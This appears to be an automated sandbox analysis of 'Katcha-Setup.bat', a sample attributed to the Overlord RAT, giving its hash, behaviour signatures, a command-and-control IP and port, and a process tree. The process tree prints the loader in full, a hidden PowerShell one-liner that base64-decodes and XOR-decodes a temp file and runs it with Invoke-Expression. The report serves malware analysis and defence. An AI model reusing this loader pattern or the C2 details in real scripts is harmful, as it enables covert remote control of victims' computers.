Analysis
- user interaction
yes - max time kernel
39s - max time network
44s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
31/07/2026, 12:14
General
- Target Katcha-Setup.bat
- Size 9.0MB
- Sample260731-ped7csszet
- SHA256 2db2849d09d58ad1a4205e7624a8c62f75929231909bc39beb8f24746ccafa4a
Malware Config
Extracted
-
overlord
-
65.87.7.61:5173
Signatures
- Family: Overlord
Overlord is an open-source Windows RAT written in Golang.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Katcha-Setup.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowSt Hidden -NoP -Ex Bypass -Command "$zm=-join([IO.File]::ReadAllLines($env:TEMP+'\xmmckchw.tmp'));Remove-Item($env:TEMP+'\xmmckchw.tmp') -Force -EA 0;$yk=[Convert]::FromBase64String($zm);for($dv=0;$dv -lt $yk.Length;$dv++){$yk[$dv]=$yk[$dv]-bxor 166};$qtyl=[Text.Encoding]::UTF8.GetString($yk);Invoke-Expression $qtyl"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0bfjsgey\0bfjsgey.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCC01.tmp" "c:\Users\Admin\AppData\Local\Temp\0bfjsgey\CSCFB6DEE6E42C04FFEA8214E38E3EDAD65.TMP"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\mrwyxuhvtz.exe"C:\Users\Admin\AppData\Local\Temp\mrwyxuhvtz.exe"3⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
0bfjsgey.dll
RESCC01.tmp
mrwyxuhvtz.exe
xmmckchw.tmp
xmmckchw.tmp
0bfjsgey.0.cs
0bfjsgey.cmdline
CSCFB6DEE6E42C04FFEA8214E38E3EDAD65.TMP
memory/3096-2227-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2233-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2218-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2219-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2220-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2221-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2222-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2223-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2224-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2226-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2216-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2228-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2229-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2230-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2231-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2217-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2234-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2235-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2232-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2236-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2237-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2238-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2214-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2213-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2252-0x00000241AB510000-0x00000241AB518000-memory.dmp
memory/3096-2212-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2211-0x00000241C37C0000-0x00000241C37E2000-memory.dmp
memory/3096-2210-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2246-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/3096-2207-0x00007FFD1D88F000-0x00007FFD1D890000-memory.dmp
memory/3096-2262-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp